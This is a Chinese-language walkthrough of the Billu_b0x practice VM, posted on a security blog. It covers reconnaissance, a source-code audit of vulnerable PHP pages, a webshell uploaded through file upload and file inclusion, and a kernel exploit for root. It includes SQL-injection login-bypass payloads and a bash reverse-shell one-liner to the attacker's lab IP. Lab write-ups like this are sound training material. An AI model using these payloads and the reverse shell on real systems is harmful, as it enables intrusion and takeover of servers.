Billu_b0x靶场复现

2024-03-23 983 0

Billu_b0x靶场复现

一、环境搭建

Win7攻击机IP地址:192.168.247.136

Billu_b0x靶机的IP地址:暂时未知

二、信息收集

1、使用Zenmap探测靶机地址

Billu_b0x靶场复现插图

靶机的IP为192.168.247.137

2、扫描开放端口

Billu_b0x靶场复现插图1

开放了80,22端口

3、目录扫描

Billu_b0x靶场复现插图2

存在多个php文件(phpmy目录为自添加)
  • 访问images目录
    Billu_b0x靶场复现插图3

存在目录遍历漏洞,但都是图片,点开为web页面的背景图,没什么价值
  • 访问phpmy目录
    Billu_b0x靶场复现插图4

存在phpmyadmin
  • 访问add.php
    Billu_b0x靶场复现插图5
    Billu_b0x靶场复现插图6

发现存在文件上传功能,使用bp抓取上传包发送,发现都回显表单内容,猜测可能功能不完善,只是前端界面
  • 访问test.php
    Billu_b0x靶场复现插图7
    Billu_b0x靶场复现插图8

页面提示file参数不存在,通过测试,使用POST请求时可以读取文件,此页面存在任意文件下载
  • 访问head.phpBillu_b0x靶场复现插图9

背景图文件
  • 访问show.php和c.php均无回显,应该都为php后端源码信息

4、指纹识别
Billu_b0x靶场复现插图10

采用Apache服务器,php语言,Ubuntu操作系统

三、漏洞利用

1、首页尝试sql注入
Billu_b0x靶场复现插图11
Billu_b0x靶场复现插图12

在尝试万能密码payload:1 or 1=1 --+ 和 1' or 1=1 --+均显示Try again,sqlmap也无果

2、利用任意文件下载查看网站源码配置信息进行代码审计

index.php

<?php
session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';

}

if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{

echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br>


<br>



Show me your SQLI skills <br>



<form method=post>
Username :- <Input type=text name=un> &ampnbsp Password:- <input type=password name=ps> <br>


<br>



<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
   echo "You are allowed<br>


";
   $_SESSION['logged']=true;
   $_SESSION['admin']=$row['username'];

header('Location: panel.php', true, 302);  //登录成功后定向到panel页面

}
else
{
echo "<script>alert('Try again');</script>";
}

}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";

?>

show.php

<?php
include('c.php');

if(isset($_POST['continue']))
{
	$run='select * from users ';
	$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
echo "<table width=90% ><tr><td>ID</td><td>User</td><td>Address</td><td>Image</td></tr>";
 while($row = mysqli_fetch_assoc($result)) 
   {
	   echo '<tr><td>'.$row['id'].'</td><td>'.htmlspecialchars ($row['name'],ENT_COMPAT).'</td><td>'.htmlspecialchars ($row['address'],ENT_COMPAT).'</td><td><img src="https://www.freebuf.com/vuls/uploaded_images/'.htmlspecialchars ($row['image'],ENT_COMPAT).'" height=90px width=100px></td></tr>';
}
   echo "</table>";
}
}

?>

c.php

<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");  //数据库的用户名和密码

// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }

?>
综合来看,在index.php发现panel页面,c.php存在数据库的用户名和密码,show页面为展示,没什么价值

3、登录数据库
Billu_b0x靶场复现插图13

发现auth表中存在用户名和密码

4、登录web页面
Billu_b0x靶场复现插图14
Billu_b0x靶场复现插图15

有两个选项,分别用于展示和增加用户,再次通过test.php获取该页面源码

<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
		header('Location: index.php', true, 302);
		exit();
	
}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
	unset($_SESSION['logged']);
	unset($_SESSION['admin']);
	header('Location: index.php', true, 302);
}
echo '<hr><br>


';

echo '<form method=post>

<select name=load>
    <option value="show">Show Users</option>
	<option value="add">Add User</option>
</select> 

 &ampnbsp<input type=submit name=continue value="continue"></form><br>


<br>


';
if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{

		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);   //存在文件包含漏洞
	}
	
}

if(isset($_POST['upload']))
{
	
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))		//移动到uploaded_images/目录下
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);
							
							}
				}
			else
			{
				echo "<br>


i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "<br>


only png,jpg and gif file are allowed";
	}
}
}
?>

通过源码分析可知,当执行continue操作时,如果不是show和add的动作的话,则会将load参数传递的值进行包含,而在文件上传功能处定义了白名单,校验MIME类型,使用了move_uploaded_file将上传的文件移动到uploaded_images/目录下,那么很明显是通过文件上传php木马,然后通过文件包含进行php木马getshell

5、尝试getshell

  • 上传php木马并修改后缀,以及Content-type
    Billu_b0x靶场复现插图16

上传成功
  • 抓取数据修改为木马路径
    Billu_b0x靶场复现插图17Billu_b0x靶场复现插图18

成功回显出写入木马的文件头

6、使用中国蚁剑连接
Billu_b0x靶场复现插图19

此处需配置cookie头,因为没有登录状态会重定向到登录页面

四、权限提升

1、bash反弹shell

  • 通过中国蚁剑的终端进行bash反弹shell命令

bash -c '0<&212-;exec 212<>/dev/tcp/192.168.247.136/9988;sh <&212 >&212 2>&212'

Billu_b0x靶场复现插图20

  • 本地配置nc监听9988端口,使用python配置交互shell
    Billu_b0x靶场复现插图21

2、查看内核信息

Billu_b0x靶场复现插图22

3、通过exploit-database搜索exp

Billu_b0x靶场复现插图23

4、通过python开启简易http服务获取exp文件

Billu_b0x靶场复现插图24

5、编译c文件,执行exp

Billu_b0x靶场复现插图25

五、补充及总结

使用御剑是无法扫描出phpmy目录的,通过查阅资料发现kali的big.txt可以扫描出该目录;登录页面也可通过Username:‘ or 1=1#,Password:\进行绕过(还得练啊)

Billu_b0x靶场复现插图26

此次的打靶主要涉及的知识点有常规的信息收集(端口、目录、指纹)、php代码审计、文件上传配合文件包含的漏洞利用、bash反弹shell、内核提权等。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

苹果试图保护你的隐私,OpenAI可能做不到
Shuffle:一款完全自动化的安全栈增强平台
如何使用CODASM编码Payload并降低熵值
SessionExec:一款针对会话安全的安全命令测试工具
Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞

发布评论